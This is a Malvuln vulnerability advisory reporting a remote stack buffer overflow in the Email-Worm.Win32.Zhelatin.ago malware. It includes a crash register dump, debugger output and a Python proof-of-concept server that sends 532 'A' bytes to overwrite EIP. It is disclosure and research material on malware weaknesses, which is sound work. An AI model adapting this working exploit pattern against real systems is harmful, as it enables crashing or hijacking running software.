Email-Worm.Win32.Zhelatin.ago / Remote Stack Buffer Overflow

[malvuln <malvuln13 () gmail com>]

Discovery / credits: malvuln - Malvuln.com (c) 2021
Original source:
http://malvuln.com/advisory/0418e7f95a8b94c035e10749234f8378.txt
Contact: malvuln13 () gmail com
Media: twitter.com/malvuln

Threat: Email-Worm.Win32.Zhelatin.ago
Vulnerability:  Remote Stack Buffer Overflow
Description: Buffer overflow on server response TCP Port 80, upon
receiving 532 bytes or more we can overwrite insruction pointer (EIP)
to control program execution flow.

Type: PE32
MD5: 0418e7f95a8b94c035e10749234f8378
Vuln ID: MVID-2021-0014
Dropped files:
ASLR: False
Safe SEH: True
DEP: False
Disclosure: 01/01/2021

Memory Dump:
EAX : 00000000
EBX : 00000000
ECX : 76E77CB1     kernel32.76E77CB1
EDX : 00000000
EBP : 41414141
ESP : 0434F2E8
"AAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
ESI : 76E8DE00     <kernel32.DeleteFileA>
EDI : 764E38D0     <user32.wsprintfA>
EIP : 41414141

ExceptionAddress: 41414141
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 00000000
   Parameter[1]: 41414141
Attempt to read from address 41414141


0:003> .ecxr
eax=00000000 ebx=00000000 ecx=76e77cb1 edx=00000000 esi=76e8de00 edi=764e38d0
eip=41414141 esp=0418f2e8 ebp=41414141 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
41414141 ??              ???


Exploit/PoC:
import socket

port=80
payload="A"*532

def doit():
    global payload
    s = socket.socket()
    try:
        host = ''
        s.bind((host, port))
        s.listen(5)

        print('Email-Worm.Win32.Zhelatin.ago / Remote Stack Buffer Overflow')
        print('MD5: 0418e7f95a8b94c035e10749234f8378')
        print("By malvuln")

        while True:
            conn, addr = s.accept()
            conn.send(payload+'\r\n')
            conn.close()
    except Exception as e:
        pass

if __name__=="__main__":
    doit()



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